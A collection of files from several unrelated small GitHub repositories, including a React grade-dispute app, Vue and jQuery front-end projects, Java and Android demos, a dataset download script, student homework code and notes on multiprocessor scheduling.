<h5>Filter Assignments</h5>
<h5>Show Assignments by Courses</h5>
</div>
<div class="space"></div>
</div>
<div class="student-assignment-list-options">
<ControlLabel class="item">
<FormControl
type="text"
placeholder="Enter Assignment Title"
onChange={(e) => this.setState({assignmentTitle: e.target.value})}
class="assignment-title-input"
/>
</ControlLabel>
<Button class="button item short-button margin-button1" bsStyle="success" onClick={()=>this.searchAssignmentByName(this.state.assignmentTitle)}>Search {' '}<Glyphicon glyph="search" /></Button>
<StudentCourseList class="item" handler={this.handler}/>
<Button class="button item short-button margin-button2" bsStyle="success" onClick={()=>this.searchAssignmentByCourse(this.state.courseName)}>Search {' '}<Glyphicon glyph="search" /></Button><br/>
<Button class="button item short-button" bsStyle="success" onClick={()=>this.showAll()}>Show All {' '}<Glyphicon glyph="th" /></Button><br/>
</div>
<div class="assignment-info">
{
this.state.assignments.map((assignmentObj, i) => {
return(
<div key={i} class="list-item" onClick={()=>{
this.setState({
fireRedirect: true,
objName: assignmentObj.name,
objCourseID: assignmentObj.courseID
});
}}>
<div className="list-header">
{assignmentObj.name}
</div>
{
assignmentObj.description
}
</div>
)
})
}
</div>
{
this.state.fireRedirect && (<Redirect to={{pathname: '/assignment/'+this.state.objName+'/'+this.state.username+'/'+this.state.name+'/'+this.state.objCourseID}}></Redirect>)
}
</div>
);
}
}```
app.js
```import React from "react";
import ReactDOM from "react-dom";
import AccountType from "./views/AccountType.js";
import StudentLogin from "./views/StudentLogin.js";
import FacultyLogin from "./views/FacultyLogin.js";
import FacultyRegister from "./views/FacultyRegister.js";
import StudentRegister from "./views/StudentRegister.js";
import StudentAssignmentList from "./views/StudentAssignmentList.js";
import Assignment from "./views/Assignment.js";
import Course from "./views/FacultyCourseAssignments.js";
import FacultyCourseList from "./views/FacultyCourseList.js";
import { HashRouter, Route, IndexRoute } from "react-router-dom";
import './assets/stylesheets/main.less';
const app = document.getElementById('root');
const router = (
<HashRouter history={history}>
<div>
<Route path="/assignment/:name/:username/:realName/:courseID" component={Assignment}></Route>
<Route path="/" exact component={AccountType}></Route>
<Route path="/course/:name" exact component={Course}></Route>
<Route path="/studentLogin" exact component={StudentLogin}></Route>
<Route path="/studentRegister" exact component={StudentRegister}></Route>
<Route path="/facultyLogin" exact component={FacultyLogin}></Route>
<Route path="/facultyRegister" exact component={FacultyRegister}></Route>
<Route path="/facultyCourseList" exact component={FacultyCourseList}></Route>
<Route path="/studentAssignmentList" exact component={StudentAssignmentList}></Route>
</div>
</HashRouter>
);
ReactDOM.render(router, app);
```
README.md
```# Disputify
A collaborative grade dispute system for CS students at USC.
**Created December, 2017**
## Table of Contents
- [About](#about)
- [Installation Instructions](#installation-instructions)
- [Built With](#built-with)
- [Features](#features)
## Creator
- [Siyuan Xu](https://github.com/1009700427)
## About
Disputify is a desktop app tha allows for resolving disputes between students and course staff. Students can raise issues and course staff can resolve those issues.
## Installation Instructions:
#### Prerequisites
Requires Node.js
Installed MySQL
1. Clone the repository
2. ```cd Disputify```
3. Run the query from ```backend/database/db.sql```
4. Run ```npm install``` to download node modules
5. Run ```npm run webpack``` to bundle the code
6. Run ```npm run server``` to start the server
7. Run ```npm start``` to launch the app
## Built With
- Electron
- Webpack
- Frontend
- React.js
- Axios.js
- React-Bootstrap
- LESS
- HTML/CSS
- Backend
- Express.js
- MySQL
## Features
### Login and Register Page
When you first open the app, it will ask you whether you are a student or a staff member. Then it will navigate you to the correct page for login and registration. Default username and password are both set to 111 for faculty and students, although you can also register your own customized user.
<img width="1024" alt="1" src="https://user-images.githubusercontent.com/22974252/35257731-f2ffb6ea-ffaf-11e7-9eca-3e971e4c6dee.png">
<img width="1024" alt="2" src="https://user-images.githubusercontent.com/22974252/35257757-140dfb62-ffb0-11e7-92de-69631ca743b9.png">
<img width="1024" alt="7" src="https://user-images.githubusercontent.com/22974252/35257908-f0a615be-ffb0-11e7-96f5-e47b625944d1.png">
### Student Assignment List
Your account will open to a preview of all your existing assignments, which are stored in mySQL tables.
<img width="1024" alt="3" src="https://user-images.githubusercontent.com/22974252/35257836-8ab1f584-ffb0-11e7-9511-04d8a320b4bb.png">
<img width="1024" alt="4" src="https://user-images.githubusercontent.com/22974252/35257840-90b16e10-ffb0-11e7-9ff2-f89d47ccf53c.png">
### Raise Dispute
After clicking on one of the assignment boxes, you will be redirected to a new page for raising disputes and checking dispute status.
<img width="1024" alt="5" src="https://user-images.githubusercontent.com/22974252/35257885-d03459b2-ffb0-11e7-8cd0-db2492e08af0.png">
<img width="1024" alt="6" src="https://user-images.githubusercontent.com/22974252/35257892-d63ca6c0-ffb0-11e7-902d-1eb5f9077840.png">
### Faculty Course List
After logging into a faculty page, you will be able to search for, or just show all the courses of USC's CS Department stored in our database.
<img width="1024" alt="8" src="https://user-images.githubusercontent.com/22974252/35257960-54edfe4c-ffb1-11e7-83c1-1573417d6737.png">
After clicking on one of the courses, you will see a full list of dispute notifications from different students. By clicking on the resolve/unresolve button, you can change the dispute status.
<img width="1024" alt="9" src="https://user-images.githubusercontent.com/22974252/35258011-a2059578-ffb1-11e7-9d3d-8e095397bb89.png">
```
FacultyCourses.js
```/**
* Created by siyuanxu on 1/15/18.
*/
import React from "react";
import ReactDOM from "react-dom";
import { Link } from 'react-router-dom';
import { FormGroup, FormControl, ControlLabel, Button, DropdownButton, MenuItem, Glyphicon} from "react-bootstrap";
const dbDriver = require("../../backend/database/dbDriver.js");
export default class StudentCourseList extends React.Component{
constructor(){
super();
var that = this;
this.state = {
courseList: [""],
dropdownTitle: "",
finalResult: null,
fireReturn: false
}
}
componentWillMount(){
var that = this;
dbDriver.getFacultyCourses((result) => {
that.setState({finalResult: result,
fireReturn: true,
dropdownTitle: result[0].name});
});
}
getCourses(title, i){
return (
<MenuItem eventKey={i} key={i}>
{title.name}
</MenuItem>
);
}
handleSelect(e){
var val = this.state.finalResult[e].name;
this.setState({
dropdownTitle: val
});
console.log(e);
}
render(){
var that = this;
return(
<div class="dropdown">
{
this.state.fireReturn &&
<DropdownButton class="button" title={this.state.dropdownTitle} key={1}
id="courseDropdown"
onSelect={(e) => this.handleSelect(e)}>{JSON.parse(JSON.stringify(this.state.finalResult)).map(that.getCourses)}
</DropdownButton>
}
</div>
);
}
}
```
Assignment.js
```/**
* Created by siyuanxu on 1/11/18.
*/
import React from "react";
import axios from "axios";
import { FormGroup, FormControl, ControlLabel, Button, Modal} from "react-bootstrap";
import { Redirect } from 'react-router-dom';
import '../assets/stylesheets/assignment.less'
export default class Assignment extends React.Component{
constructor(props){
super(props);
this.handleShow = this.handleShow.bind(this);
this.handleClose = this.handleClose.bind(this);
this.state = {
name: "",
description: "",
showModal: false,
disputeDescription: "",
username: "",
realName: "",
fireRedirect: false,
courseID: ""
}
}
// handles showing the modal
handleShow(){
this.setState({
showModal: true
});
}
// handles hiding the modal
handleClose(){
this.setState({
showModal: false
});
}
// handles dispute submission
handleSubmit(){
var that = this;
axios.get("http://localhost:3000/disputeSubmit", {
params: {
assignmentName: that.state.name,
assignmentDescription: that.state.description,
disputeDescription: that.state.disputeDescription,
username: that.state.username,
courseID: that.state.courseID
}
})
.then(resp => {
that.setState({
showModal: false
});
alert("Successfully Submitted Your Dispute!");
document.getElementById("dispute-status").innerHTML = "Dispute Unresolved";
document.getElementById("dispute-status").style.color = "red";
})
.catch(err => {
alert("Failed to Submit Your Dispute.");
console.log("ERROR: Cannot send dispute data to database from handleSubmit()", err);
})
}
componentWillMount(){
var that = this;
axios.get("http://localhost:3000/assignment", {
params: {
name: this.props.match.params.name
}
})
.then(resp => {
that.setState({
name: resp.data[0].name,
description: resp.data[0].description,
username: that.props.match.params.username,
realName: that.props.match.params.realName,
courseID: that.props.match.params.courseID
});
})
.catch(err => {
console.log("ERROR: Cannot retrieve assignment from componentWillMount() ", err);
});
}
render(){
var that = this;
return(
<div class="assignment">
<div class="assignment-wrapper">
<Button bsStyle="success" class="button" onClick={() => {
this.setState({
fireRedirect: true
});
}}>
Go Back
</Button><br/>
<h2 id="dispute-status">No Dispute Submitted</h2>
{this.state.name}<br/>{this.state.description}<br/>
<Button bsStyle="success" class="button" onClick={() => this.handleShow()}>
Raise Dispute
</Button>
<Modal show={this.state.showModal} onHide={() => this.handleClose()}>
<Modal.Header closeButton>
<Modal.Title>
Raise Dispute
</Modal.Title>
</Modal.Header>
<Modal.Body>
<h5>What is your problem?</h5>
<FormGroup controlId="disputeTextArea">
<ControlLabel>Description</ControlLabel>
<FormControl componentClass="textarea" placeholder="Dispute Description" onChange={(e) => {
this.setState({disputeDescription: e.target.value});
}}/>
</FormGroup>
<Button bsStyle="success" class="button" onClick={() => this.handleSubmit()}>Submit Dispute</Button>
</Modal.Body>
<Modal.Footer>
<Button class="button" onClick={this.handleClose}>Close</Button>
</Modal.Footer>
</Modal>
{
this.state.fireRedirect && (<Redirect to={{
pathname: '/studentAssignmentList',
state: {
username: this.state.username,
name: this.state.realName
}
}}/>)
}
</div>
</div>
);
}
}
```
Dispute.js
```/**
* Created by siyuanxu on 1/11/18.
*/
import React from "react";
export default class Dispute extends React.Component{
constructor(){
super();
this.state = {
}
}
render(){
return(
<div class="dispute-modal">
</div>
);
}
}```
Layout.js
```import React from "react";
import { Button, Navbar } from "react-bootstrap";
export default class Layout extends React.Component{
constructor(){
super();
}
render(){
return (
<div class="navbar navbar-expand-lg navbar-light text-center" styles="background-color: #e3f2fd;">
<a class="navbar-brand center">Hello World!</a>
<Button class="button" bsStyle="primary">Primary</Button>
</div>
);
}
}```
FacultyLoginForm.js
```import React from "react";
import ReactDOM from "react-dom";
import { FormGroup, FormControl, ControlLabel, Button} from "react-bootstrap";
import { Link, Redirect } from 'react-router-dom';
import '../assets/stylesheets/login.less'
const dbDriver = require("../../backend/database/dbDriver.js");
export default class LoginForm extends React.Component{
constructor(props){
super(props);
this.state = {
username: '',
password: '',
fireRedirect: false,
name: ''
}
}
onSubmit(event){
event.preventDefault();
if(this.state.username==null || this.state.username=="" || this.state.password=="" || this.state.password==null){
return false;
}
// checks for user provided data
const loginData = ["faculty", this.state.username, this.state.password];
var that = this;
if(dbDriver.checkUser(loginData, (result, arr) => {
if(result){
that.setState({
name: arr[0].name,
fireRedirect: true
});
}
else {
alert("Incorrect Username or Password");
}
}))
if(dbDriver.checkUser(loginData)){
return true;
}
else{
alert("Incorrect Username or Password");
return false;
}
}
render(){
return (
<form onSubmit={(event) => this.onSubmit(event)}>
<FormGroup controlId="formBasicText">
</FormGroup>
<ControlLabel>Username <FormControl
type="text"
placeholder="Enter Username"
onChange={(e) => this.setState({username: e.target.value})}
/>
</ControlLabel><br/>
<ControlLabel>
Password <FormControl
type="password"
placeholder="Enter Password"
onChange={(e) => this.setState({password: e.target.value})}
/>
</ControlLabel>
<br/>
<Button class="button" type="submit" bsStyle="success">
Login
</Button>
<br/>
<Link to='/facultyRegister'>
<Button class="button" bsStyle="primary">
Register
</Button>
</Link>
<br/>
<Link to='/'>
<Button class="button" bsStyle="primary">
Cancel
</Button>
</Link>
<div id="err-message">
</div>
{
this.state.fireRedirect && (<Redirect to={{
pathname: '/facultyCourseList',
state: {
username: this.state.username,
name: this.state.name
}
}}/>)
}
</form>
);
}
}```
|
100DaysOfVue/100daysofvue.github.io
|
100DaysOfVue/100daysofvue.github.io
README.md
```# 100daysofvue.github.io
Webpage & Indexer of #100DaysOfVue where can be found all projects made.
This is a project inspired by the initiative of a friend [@ChinuxParibus](https://github.com/ChinuxParibus) and his [ThousandDaysOfVue](https://github.com/thousanddaysofvue/thousanddaysofvue.github.io).
## Conditions
1. Each project MUST be developed on at least two consecutive days (recommended on weekends).
2. Each project MUST be [JAMStack](https://jamstack.org/) (Javascript + API + Markup) using [Vue Framework](https://vuejs.org/).
3. Each project MUST have its own repository on Github, under the same organization.
4. Each project MUST be accessed from the URL: [https://100DaysOfVue.github.io/peroject-name](https://thousanddaysofvue.github.io)
5. Each project CAN use [LocalStorage](https://developer.mozilla.org/en-US/docs/Web/API/Window/localStorage) as local database (if applicable).
6. Each project, if requires some kind of external storage, SHOULD be using [JEXIA](https://jexia.com/).
7. Each project MUST be documented with a README.md file, explaining what they need for its operation and what was learned during the process.
## Projects
All projects listed here are optional, so you can feel free to get rid of some of those projects and make others either way.
+ [ ] #1 Paypal Calculator PWA
+ [ ] #2 Functional Bingo
+ [x] [#3 Tic-Tac-Toe](https://github.com/100DaysOfVue/tic-tac-toe)
+ [ ] #4 Markdown Multi-editor
+ [ ] #5 Calendar Schedule
+ [ ] #6 JSON as HTML forms
+ [ ] #7 Shopping cart
+ [ ] #8 Users and Notes
+ [ ] #9 Students and Records
+ [ ] #10 Front ATM
+ [ ] #11 Notebook PWA
+ [ ] #12 O'Clock
+ [ ] #13 Online CV
+ [ ] #14 Paper Planet
+ [ ] #15 mylightbulb
+ [ ] #16 JSON UI
+ [ ] #17 Github Analytics Client
+ [ ] #18 Wikipedia Search Engine
+ [x] #19 [Show The Local Weather](https://100daysofvue-show-local-weather.netlify.com)
+ [ ] #20 Random Quote Machine
+ [ ] #21 Coelho.js
+ [ ] #22 Reddit Clone
+ [ ] #23 Capturameste (it means "Capture this" in English)*
+ [ ] #24 FCC Picks bot
+ [ ] #25 Fresk
+ [ ] #26 kanbanizer
+ [ ] #27 Simon's Game
+ [ ] #28 Functional Simon's Game
+ [ ] #29 Piano
+ [ ] #30 Vuena Gente (it means "Good People" in English)*
+ [ ] #31 Criptocurrency Tracker PWA
+ [ ] #32 Own Webpack configuration (or Parcel or any other)
+ [ ] #33 To-Do List
+ [ ] #34 Functional To-Do List
+ [ ] #35 Sortable Drag&Drop Generic List
+ [ ] #36 Table Generator
+ [ ] #37 ¿Yes or Not?
+ [ ] #38 CringeTube PWA
+ [ ] #39 Mastermind
+ [ ] #40 Functional Mastermind
+ [ ] #41 Klondike
+ [ ] #42 Functional Klondike
+ [ ] #43 TraderView
+ [ ] #44 Mérida, Venezuela's Touristic Map (or some other City/Country of your choice)
+ [ ] #45 Biblical Devotional PWA
+ [ ] #46 SVGatos (It means "Scalable Vector Cats" in English)*
+ [ ] #47 Snake's Game
+ [ ] #48 Functional Snake's Game
+ [ ] #49 It's a Trump!
+ [ ] #50 Super Virtual G
\* *but it is also a pun in Spanish ;)*
## Additional commitments
- Each project completed should be shared, on social media, promoting both hashtags #100DaysOfCode and #100DaysOfVue, with a brief summary of what was learned.
- Each project should be ended within the time suggested. Consider how much hours do you need each day to reach the goal.
- All images in each project should be uploaded with SVG format (except favicons).
- Each project can be use a CSS framework to shorten the developing time, also a CSS pre-processor. There are no limitations in which framework can be used.
- All projects can be developed using [Flat Design](https://en.wikipedia.org/wiki/Flat_design), [Material Design](https://material.io/design/), or whatever UI pattern design you want, but you must be consistent in which pattern design you choose. I mean, if the first project you completed (whatever it was) you made it on a Material Design, you should complete all remaining projects in that UI pattern design.
Good luck and may the force be with you!!

```
|
1012960050/letao
|
1012960050/letao
common.js
```/**
* Created by Administrator on 2018/4/9 0009.
*/
mui('.mui-scroll-wrapper').scroll({
indicators: false
});
var gallery = mui('.mui-slider');
gallery.slider({
interval:1000
});
function getSearch(key) {
var str = location.search;
str = decodeURI(str);
str = str.slice(1);
var arr = str.split("&");
var obj={};
arr.forEach(function (v,i) {
obj[v.split('=')[0]]= v.split('=')[1];
});
return obj[key];
}```
user.js
```/**
* Created by Administrator on 2018/4/7 0007.
*/
$(function () {
//定义当前页码
var currentPage = 1;
//定义每行显示几条数据
var pageSize = 5;
render();
// 渲染页面数据
function render() {
$.ajax({
url: "/user/queryUser",
data: {
page: currentPage,
pageSize: pageSize
},
success: function (info) {
$('tbody').html(template('userTpl',info));
//创建分页
$('#paginator').bootstrapPaginator({
bootstrapMajorVersion:3,
currentPage:info.page,
totalPages:Math.ceil(info.total/info.size),
onPageClicked:function (a,b,c,page) {
currentPage = page;
render();
}
});
}
});
}
//给按钮注册点击事件 显示模态框
$('tbody').on('click','button',function () {
//获取id和isdelete的值传给后台
var id = $(this).parent().data('id');
var isDelete =$(this).hasClass('btn-success')?'1':'0';
//显示模态框
$('#userModal').modal('show');
//给模态框确定按钮注册点击事件 发送ajax请求
$('#userBtn').off('click').on('click',function () {
$.ajax({
type:'post',
url:'/user/updateUser',
data:{
id:id,
isDelete:isDelete
},
success:function () {
render();
$('#userModal').modal('hide');
}
});
});
});
});```
search.js
```/**
* Created by Administrator on 2018/4/10 0010.
*/
$(function () {
render();
function getArr() {
var arrStr = localStorage.getItem('search_list') || '[]';
var arr = JSON.parse(arrStr);
return arr;
}
function render() {
var arr = getArr();
$('.history').html(template('searchTpl',{list:arr}));
}
//点击搜索按钮注册事件
$('.search_btn').click(function () {
var arr = getArr();
var key = $('.search_input').val().trim();
if(key==""){
mui.toast( "请输入搜索关键字" );
return;
}
if(arr.indexOf(key)!== -1){
arr.splice(arr.indexOf(key),1);
}
if(arr.length>=10){
arr.pop();
}
arr.unshift(key);
localStorage.setItem('search_list',JSON.stringify(arr));
render();
$('.search_input').val('');
location.href = "searchList.html?key="+key;
});
//点击X号删除查询记录
$('.history').on('click','.btn_delete',function () {
var that = this;
mui.confirm('你确定要删除吗?','温馨提示',['确认','取消'],function (e) {
if(e.index==0){
var index = $(that).data('index');
var arr = getArr();
arr.splice(index,1);
localStorage.setItem('search_list',JSON.stringify(arr));
render();
}
});
});
//点击清空记录
$('.history').on('click','.btn-empty',function () {
mui.confirm("是否清空所有历史记录", "温馨提示", ["确认", "取消"], function( e ) {
if (e.index === 0) {
localStorage.removeItem("search_list");
render();
}
});
});
});```
category.js
```/**
* Created by Administrator on 2018/4/9 0009.
*/
$(function () {
$.ajax({
url: "/category/queryTopCategory",
type: "GET",
success: function (info) {
console.log(info);
$('.category_left ul').html(template("navTpl", info));
renderById(info.rows[0].id);
}
});
// 给左侧添加事件委托, 点击左侧一级分类, 渲染二级分类
$('.category_left ul').on("click", "a", function() {
// 拿到一级分类id
var id = $(this).data("id");
// 重新渲染
renderById( id );
$(this).addClass("active").parent().siblings().find("a").removeClass("active");
});
function renderById(id) {
$.ajax({
url: "/category/querySecondCategory",
type: "GET",
data: {
id: id
},
success: function (info) {
console.log(info)
var htmlStr = template("right_tpl", info);
$('.category_right ul').html(htmlStr);
}
})
}
});```
common.js
```/**
* Created by Administrator on 2018/4/6 0006.
*/
$(function () {
//拦截登录功能
if(location.href.indexOf("login.html") === -1){
$.ajax({
url:'/employee/checkRootLogin',
success:function (info) {
console.log(info.error);
if(info.error==400){
location.href = "login.html";
}
}
});
}
//禁用小圆环
NProgress.configure({ showSpinner: false });
//进度条插件
$(document).ajaxStart(function () {
NProgress.start();
});
$(document).ajaxStop(function() {
// 模拟网络延迟
setTimeout(function() {
NProgress.done();
}, 500);
});
//二级分类切换
$('.category').click(function () {
$(this).next().stop().slideToggle();
});
//左侧导航隐藏与显示
$('.icon-menu').on('click',function () {
$('.aside-nav').toggleClass('hide-btn');
$('.it-main').toggleClass('hide-btn');
$('.it-topbar').toggleClass('hide-btn');
});
//点击退出弹出模态框
$('.icon-logout').click(function() {
// 让模态框显示
$('#logoutModal').modal("show");
});
//点击退出注册点击事件
$('#logoutBtn').click(function () {
$.ajax({
url:'/employee/employeeLogout',
dataType: "json",
success:function (info) {
if(info.success){
location.href = "login.html";
}
}
});
});
});```
|
10183308/CRNN_CTC_Tensorflow
|
10183308/CRNN_CTC_Tensorflow
dowload_Synth90k_data.sh
```#!/bin/sh
# download s
wget -c http://www.robots.ox.ac.uk/~vgg/data/text/mjsynth.tar.gz
tar -xzvf mjsynth.tar.gz
find ./mnt/ | xargs ls -d | grep jpg > image_list.txt
```
|
10190997/animation_application
|
10190997/animation_application
MainActivity.java
```package com.example.animation_app;
import androidx.appcompat.app.AppCompatActivity;
import androidx.constraintlayout.widget.ConstraintLayout;
import android.animation.ObjectAnimator;
import android.graphics.Color;
import android.graphics.drawable.ColorDrawable;
import android.graphics.drawable.TransitionDrawable;
import android.os.Bundle;
import android.view.View;
import android.view.animation.Animation;
import android.view.animation.AnimationUtils;
import android.widget.ImageView;
import android.widget.TextView;
public class MainActivity extends AppCompatActivity implements Animation.AnimationListener, textEditable {
private ImageView icon;
private Animation iconAnim;
private TextView textView;
ObjectAnimator objectAnimator;
ConstraintLayout constraintLayout;
TransitionDrawable transitionDrawable;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
textView = findViewById(R.id.textView);
icon = findViewById(R.id.wow);
constraintLayout = findViewById(R.id.layout_main);
iconAnim = AnimationUtils.loadAnimation(this, R.anim.hardanim);
iconAnim.setAnimationListener(this);
objectAnimator = ObjectAnimator.ofArgb(textView, "TextColor", Color.BLACK, Color.RED);
objectAnimator.setDuration(500);
ColorDrawable[] colorDrawables = {new ColorDrawable(Color.WHITE), new ColorDrawable(Color.BLUE)};
transitionDrawable = new TransitionDrawable(colorDrawables);
constraintLayout.setBackground(transitionDrawable);
}
public void btnClick(View view) {
icon.startAnimation(iconAnim);
transitionDrawable.startTransition(2000);
objectAnimator.start();
}
@Override
public void onAnimationStart(Animation animation) {
textView.setVisibility(View.INVISIBLE);
}
@Override
public void onAnimationEnd(Animation animation) {
textView.setVisibility(View.VISIBLE);
}
@Override
public void onAnimationRepeat(Animation animation) {}
public void showDialog(View view) {
dialogue dialogue = new dialogue();
dialogue.show(getSupportFragmentManager(), "alert");
}
@Override
public void editName(String name) {
textView.setText(name);
}
}```
dialogue.java
```package com.example.animation_app;
import android.app.AlertDialog;
import android.content.Context;
import android.content.DialogInterface;
import android.os.Bundle;
import android.widget.EditText;
import androidx.fragment.app.DialogFragment;
public class dialogue extends DialogFragment {
textEditable textEditable;
public void onAttach(Context context) {
super.onAttach(context);
textEditable = (textEditable) context;
}
public AlertDialog onCreateDialog(Bundle bundle) {
AlertDialog.Builder builder = new AlertDialog.Builder(getActivity());
return builder.setTitle("ура").
setView(R.layout.dialog).
setMessage("ахахахахахахахахахахахахахахахахаха").
setIcon(R.drawable.ic_launcher_foreground).
setPositiveButton("YASS", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialog, int which) {
textEditable.editName("кык");
// EditText name = getView().findViewById(R.id.etName);
// textEditable.editName(name.getText());
}
}).
setNegativeButton("NAURRR", null).
create();
}
}
```
textEditable.java
```package com.example.animation_app;
public interface textEditable {
void editName(String name);
}
```
|
102316123/hw1
|
102316123/hw1
README.md
```# hw1
poem
```
|
1048229503/Point24c
|
1048229503/Point24c
ExceptionDemo.java
```package demo;
public class ExceptionDemo {
/**
* @param args
*/
public static void main(String[] args) {
try {
System.out.println(1/0);//ArithmeticException
} catch (Exception e) {
System.out.println("I catched it!");
}
System.out.println("hello world");
System.out.println(Double.parseDouble("1.11as"));
}
}
```
test.md
```# 24点游戏求解器
## 系统概述
24点游戏求解器项目是一个非常有趣的AI小游戏,综合用到AndroidUI开发、Java程序设计、数据结构、算法设计、编译原理等综合技术
## 系统模块设计
* 系统界面
* 算法原理
*
## 主要算法
- 后缀式求解
- 后缀转中缀(去括号)二叉树和算符处理
- ```
StackDemo.java
```package demo;
import java.util.Stack;
public class StackDemo {
/**
* @param args
*/
public static void main(String[] args) {
Stack<Double> stack=new Stack<Double>();
stack.push(1.0);
stack.push(5.0);
double b=stack.pop();
double a=stack.pop();
double c=a/b;
stack.push(c);
System.out.println(stack.peek());
}
}
```
UniversalMethodDemo.java
```package demo;
public class UniversalMethodDemo {
static int max2(int a,int b){
//TODO
return 0;
}
/**
* @param args
*/
public static void main(String[] args) {
System.out.println(max2(2,3));
System.out.println(max2(2.0,3.5));
System.out.println(max2("2","3"));
System.out.println(max2(2L,3));
}
private static char[] max2(String string, String string2) {
// TODO Auto-generated method stub
return null;
}
private static char[] max2(double d, double e) {
// TODO Auto-generated method stub
return null;
}
}
```
README.md
```# Point24c
越来越聪明的24点求解器
```
Evaluator.java
```package demo.ai;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.EmptyStackException;
import java.util.List;
import java.util.Stack;
public class Evaluator {
private static final double ERROR = -1;
public static void main(String[] args) {
System.out.println(eval("2 + 3".split("\\s+")));
List<String> list=new ArrayList<String>();
System.out.println(eval(list));
}
public static double eval(List<String> exp) {//right but ugly
Stack<Double> stack = new Stack<Double>();
for (String s : exp) {
if (isNumber(s)) {
stack.push(Double.valueOf(s));
} else if (isOperator(s)) {
if (stack.isEmpty())
return ERROR;
double b = stack.pop();
double a = 0;
try {
a = stack.pop();
} catch (EmptyStackException e) {
return ERROR;
}
double c = 0;
switch (s) {
case "+":
c = a + b;
break;
case "-":
c = a - b;
break;
case "*":
c = a * b;
break;
case "/":
c = a / b;
break;
}
stack.push(c);
}
}
if(stack.size()!=1)return ERROR;
return stack.peek();
}
public static double eval(String[] exp) {
return eval(Arrays.asList(exp));
}
public static boolean isOperator(String s) {
return s.equals("+") || s.equals("-") || s.equals("*") || s.equals("/");
}
public static boolean isNumber(String s) {
try {
double t = Double.parseDouble(s);
return true;
} catch (NumberFormatException e) {
return false;
}
}
}
```
|
107061206/hw1
|
107061206/hw1
hw1.py
```
import csv
cwb_filename = '107061206.csv'
data = []
header = []
with open(cwb_filename) as csvfile:
mycsv = csv.DictReader(csvfile)
header = mycsv.fieldnames
for row in mycsv:
data.append(row)
sum = list(range(5))
output = list(range(5))
stationid = list(range(5))
stationid = ['C0A880', 'C0F9A0', 'C0G640', 'C0R190', 'C0X260']
for i in range(5):
sum[i] = 0
for row in data :
if row['station_id'] == stationid[i] :
if row['HUMD'] == '-99.000' or row['HUMD'] == '-999.000' :
sum[i] = 0
else :
sum[i] += float(row['HUMD'])
for i in range(5):
if sum[i] == 0 :
output[i] = [stationid[i], 'None']
else :
output[i] = [stationid[i], sum[i]]
print(output)
```
|
1084195820/vue-demo
|
1084195820/vue-demo
README.md
```# vue-demo
vue用好的组件收集
```
|
1094469464/test
|
1094469464/test
README.md
```# test
BeiJing huan ying ni now!
BeiJing huan ying ni 2016/5/17;xiu gai
```
|
109km/exercises-from-operating-system
|
109km/exercises-from-operating-system
reform-python-print.py
```import sys
import re
def reform_file(file_name, callback):
reformed_file_data = ""
try:
file_obj = open(file_name, "r")
for line in file_obj.readlines():
reformed_file_data = reformed_file_data + callback(line)
file_obj.close()
file_obj = open(file_name,'w')
file_obj.write(reformed_file_data)
file_obj.close()
print("formed success!")
except IOError:
print("文件不存在 %s" % file_name)
def replace_string(matched):
value = 'print(' + matched.group(2) + ')'
print(value)
return value
def replace_print_formats(content):
pattern = r'(print[\s]{1})([\'\"]{1}.*)'
fomated_file = re.sub(pattern, replace_string, content, 0)
return fomated_file
file_name = sys.argv[1]
reform_file(file_name, replace_print_formats)
```
12.exercise-04-execl.c
```/**
* int execl(const char *path, const char *arg,...);
* path: 与execv类似,这必须明确指定可执行文件的地址
* arg及省略号:等同拆分出来的数组
*/
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char cmd[] = "/bin/ls";
char *p_cmd = cmd;
execl(p_cmd, p_cmd, "-a", (char *)NULL);
return 0;
}```
summary.md
```# Multiprocessor sheduling
## Background
The core differences between single-processor and multiprocessor are the usage of hardware cache and the fashion of data sharing between multiprocessors.
A CPU has its own cache which is very fast and small. If the data is in the RAM, the fetching time is slow, so some data will be stored in the CPU's cache.
Cache is based on `locality`, there're two localities: time locality and spatial locality.
* Time locality: If a data is visited, it counld be visited again before long.
* Spacial locality: If a program visited a data which address is x, the addresses near x may be visited soon.
### Cache coherence
If there are two processors, what happens to the RAM?

Here is an exmaple:
```
CPU 1: Read data from address A in memory.
CPU 1: Due to data is not in CPU1's cache, read this data from memory, got value D1.
CPU 1: The program changes this value to D2, and just update its own cache to D2. Writing data back to memory is slow, so the system decides to do it later.
SYS : Halt this program, and move it to CPU2.
CPU 2: Read data from address A, but it's not in CPU2's cache, read it from memory and got the old value D1. Oops!
```
### Solution
The hardware can solve this problem: Through monitoring accesses to memory, the hardware can assure to get the right data and assure the uniqueness of sharing memeory.
In the Bus-based system, a method is bus snooping. Each cache are linked to each other and memory's bus by monitoring links, so they will know when to update cache.
## Synchronization
Although we have got cache coherence, we still need to take care of sharing data's access.
When accessing (and in particular, updating) shared data items or structures across CPUs, mutual exclusion primitives (such as locks) should likely be used to guarantee correctness.
For an example:
```c
typedef struct __Node_t {
int value;
struct __Node_t *next;
} Node_t;
int List_Pop() {
Node_t *tmp = head; // remember old head ...
int value = head->value; // ... and its value
head = head->next; // advance head to next pointer
free(tmp); // free old head
return value; // return value at head
}
```
If Thread 1 executes the first line, it will have the current value of head stored in its tmp variable; if Thread 2 then executes the first line as well,it also will have the same value of head stored in its own private tmp variable (`tmp` is allocated on the stack, and thus each thread will have its own private storage for it). Thus, instead of each thread removing
an element from the head of the list, each thread will try to remove the same head element, leading to all sorts of problems (such as an attempted double free of the head element at Line 10, as well as potentially returning the same data value twice).
## Cache affinity
Multiprocessor's sheduling should keep a process runs on the same CPU to make it faster.
## Implementation
### Single Queue Multiprocessor Scheduling (SQMS)
Put all jobs into a single queue. The biggest advantage of this is simple. But it also has some shortcomings:
1. Lack of scalability. To assure the atomicity between jobs, the developers need to add locks in the programs, but locks can bring a great loss to performance.
2. Cache affinity's problem. If there are 5 jobs and 4 CPUs, the sheduling queue is like below:
```
Head -> A -> B -> C -> D -> E -> NULL
```
The running is like this:

This is very bad for cache affinity. After adding cache affinity's mechanism, the running will be like this:

### Multi-Queue Multiprocessor Scheduling (MQMS)
Each CPU has its own queue. When a job arrives, the system will put it into one queue based on some rules.
The advantage of this implementation is its scalability is good. Every job works on a certain CPU.
The disadvantage is load imbalance. Let's see an example, assume there are 4 jobs(A/B/C/D) and 2 CPUs:
```
Q0 -> A -> C
Q1 -> B -> D
```
Each CPU has two jobs to run, according to the CPU's sheduling policy(like Round Robin) the CPU will run like this:
